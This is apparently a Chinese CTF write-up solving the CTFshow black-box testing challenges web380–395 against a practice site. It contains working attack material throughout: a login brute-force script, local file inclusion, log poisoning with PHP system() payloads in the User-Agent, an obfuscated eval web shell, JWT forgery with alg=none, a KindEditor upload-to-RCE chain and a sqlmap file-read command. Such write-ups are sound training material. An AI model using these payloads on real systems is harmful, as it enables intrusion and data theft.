写在前面
一直没搞过渗透,先学学黑盒测试吧
web380
进入题目发现是一个关于灯泡的悲伤故事,点进去,看到跳转到page_1.php页面。

我们访问page.php试试:

发现报错:$id.php,可以猜想需要传名称为id的参数,来访问id.php。我们访问page.php?id=1试试:

这样就很明了了,使用file_get_contents函数来获取$id.php的内容,之前扫描了一下,flag.php的返回码为200,我们输入payload:
题目链接/page.php?id=flag
右键查看源码即可得到flag。
web381
有一个隐藏的后台,通过看源码发现异样:

访问即可:
题目链接/alsckdfy/
web382
同样查看源码得到alsckdfy,我们访问:
题目链接/alsckdfy/
显示一个登录界面:

一般需要以admin的身份,密码随便输一个,发现会跳转到check.php,并显示error:

因为参数的名称分别为u和p,我们可以用requests库爆破密码:
import requests
url = 'http://320649ae-de72-460e-8ecc-af6a66a5edd0.challenge.ctf.show:8080/alsckdfy/check.php'
p = ''
path = "dic.txt"
with open(path, encoding='utf-8') as f:
for line in f:
p = line.strip()
headers = {
'Cookie':'UM_distinctid=17c25d0927949f-0eabf435f81bf5-a7d173c-144000-17c25d0927adb5',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36',
}
data = {
'p':p,
'u':'admin',
}
res = requests.post(url=url, headers=headers, data=data, proxies=None)
if 'error' in res.text:
print(p + ' failed....')
continue
else:
print(p)
break
字典用的是常用admin密码字典,网上都可以搜到,爆破得到结果:

输入用户名和密码即可得到flag。
web383
同web382
web384
还是登陆界面,不过这次的密码前两位为小写字母,后三位为数字,我们用如下字典生成脚本生成字典:
LENGTH = 5
charLength = 2
char = 'qwertyuiopasdfghjklzxcvbnm'
def formatNum(n):
global LENGTH
return '0' * (LENGTH - charLength - len(str(abs(n)))) + str(abs(n))[:LENGTH-charLength]
string = ''
for n in char:
for c in char:
for i in range(pow(10, LENGTH - charLength)):
string += n + c + formatNum(i) + '\n'
with open('dict_2L3d.txt','w') as f:
f.write(string)
再用web382的脚本爆破即可。
web385
访问:
题目链接/install/
会提示访问/install/?install使管理员密码重置为初始密码。
访问后再在登陆界面输入
admin
admin888
即可。
web386
继续访问install/,显示:

我们访问lock.dat发现可以下载,下载后文件内容为“OK”。我们需要想办法把这个lock.dat删除来重置密码。
之前源码中有这一段:

我们直接访问:
题目链接/layui/css/tree.css
发现第一句为乱码,更改编码方式为Unicode可以看到提示clear.php:

访问clear.php试试,显示清理完成,但再访问/install/还是显示lock.dat。
之后才知道clear.php需要传入file参数。payload:
题目链接/clear.php?file=./install/lock.dat
这样就删除lock.dat了。之后的操作同web385。
web387
扫描发现robots.txt存在,提示为:
debug/
访问debug/后提示:
file not exist
我们传一个file参数给它,我们访问:
题目链接/debug/?file=/var/www/html/clear.php
发现它执行了clear.php文件,那我们可以通过在日志中传入木马来实现任意文件访问:
题目链接/debug/?file=/var/log/nginx/access.log
添加UA头写入日志,然后传参:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-5mqvd3dQ-1632928013335)(F:\CTF_CTFShow\MarkDownft\md图片\黑盒测试387_日志传马失败.png)]
但是一直回显:
Notice: Undefined index: a in /var/log/nginx/access.log on line 28
这说明debug/这个文件只能执行任意文件但无法传参。
我们可以更改UA为:
User-Agent : <?=system('ls /var/www/html/alsckdfy/ > /var/www/html/1.txt')?>
访问两次日志即可生成1.txt。访问1.txt得到目录内容。我们将UA更改为:
User-Agent : <?=system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt')?>
来获取check.php的源码,发现flag就在源码中:
<?php
error_reporting(0);
require_once "config.php";
$flag='ctfshow{99cf20f8-7538-4ff8-afb7-4e73f3142676}';
$u=$_POST['u'];
$p=$_POST['p'];
if(isset($u) && isset($p)){
$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
if(mysqli_connect_errno()){
die(json_encode(array(mysqli_connect_error())));
}
$conn->query("set name $charName");
$num = 1;
$ret = array(
"code"=>0,
"msg"=>"查询失败",
"count"=>$num,
"data"=>array()
);
if(!preg_match('/^[A-Za-z0-9]+$/i', $u)){
die('error');
}
if(!preg_match('/^[A-Za-z0-9]+$/i', $p)){
die('error');
}
$sql = "select id,username,password from admin_user where username = '".$u."' and password = '".$p."';";
$result = $conn->query($sql);
if($row = $result->fetch_object()){
echo $flag;
}else{
echo 'error';
}
}else{
die('error');
}
?>
web388
与web387基本类似,只是若在网站根目录写入2.html会重定向。我们可以将2.html写入/alsckdfy/目录下即可正常访问。
payload:
User-Agent : <?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/alsckdfy/1.html');?>
访问1.html查看源代码即可看到flag。
web389
首先继续执行:
debug/?file=/var/www/html/index.php
回显:“权限不足”。
我们查看cookie,发现auth的值为jwt,放到jwt.io里解码,发现alg为HS256。我们盲猜一波key为123456。把header里的user改为admin,再次执行debug,提示:“已写入日志“。说明猜对了。
这次我们再想使用web388的非预期解法会发现每次访问ua生成的1.txt、1.html等都会跳转到主页。
我们换一个思路。
访问:
题目链接/alsckdfy/editor/
发现Kindeditor编辑器:

debug/?file=/var/www/html/alsckdfy/attached/file/20210929/20210929085523_93318.zip
我们点击红色框子的按钮来提交文件,提示只支持“zip、htm、html”等类型文件,不支持php、txt。
我们可以新建一个2.txt文件,把上题的payload放进去:
<?php system('cat /var/www/html/alsckdfy/check.php > /var/www/html/1.txt');?>
然后更改后缀为2.zip,上传,复制回显的zip文件保存地址。然后更改auth的值为刚刚更改过的jwt,来获取执行debug的权限。

之后就可以用debug执行上传的zip文件,从而在根目录生成1.txt文件了:
题目链接/debug/?file=/var/www/html/alsckdfy/attached/file/20210929/20210929090723_76002.zip
访问”题目链接/1.txt“即可获取flag。
当然,我们也可以直接传马进去:
<?php
$s='<?ph'.'p ev'.'al($_PO'.'ST[1])'.';?>';
file_put_contents('/var/www/html/2.php',$s);
?>
用post命令啥的来生成文件查看:
1=file_put_contents('/var/www/html/33.php','<?=system("cat /var/www/html/alsckdfy/check.php");?>');
web390
和web389基本一致,除了这次不好猜jwt的key了,我们索性将jwt的alg设为none。成功。
import jwt
token_dict = {
"iss": "admin",
"iat": 1632908199,
"exp": 1632915399,
"nbf": 1632908199,
"sub": "admin",
"jti": "71b84b8a5c0a43a2e13822a0f9b0b09e"
}
headers = {
"alg": "none",
"typ": "JWT"
}
jwt_token = jwt.encode(token_dict, key='',headers=headers, algorithm="none")
print(jwt_token)
其余步骤一样。
其实这题可以用sqlmap,但是sqlmap的UA被题目ban了23333:
python sqlmap.py -u http://869c071c-8adb-4d4a-93a0-3963492499f0.challenge.ctf.show:8080/page.php?id=2 --file-read /var/www/html/check.php --batch
web391
同web390
search.php同样存在注入点,不过被ban了就用不了了。
web392
按390操作来一遍,争取一把梭:

flag不在这了。
我们换web389传马的方式实现rce,最后在服务器根目录里找到了flag,payload:
题目链接/2.php
post方式传参:
1=file_put_contents('/var/www/html/33.php','<?=system("cat /flag");?>');
web393
同web392
web394
基本同web392,这次根目录和/tmp里的都是假flag,我们在网站根目录里全局搜索flag,注意不要搜索/,否则进程占用内存过大,容器会直接关闭。
1=file_put_contents('/var/www/html/a.php','<?=system("grep -r -l ctfshow{ /var/www/html/");?>');
发现还是在check.php里,

不要被”FLAG NOT HERE“迷惑,查看源代码就有flag了。果然最危险的地方最安全。
web395
同web394
参考资料
B站BV号:BV1954y1Y7av
kindeditor上传漏洞复现(CVE-2017-1002024) CTFSHOW黑盒测试篇
|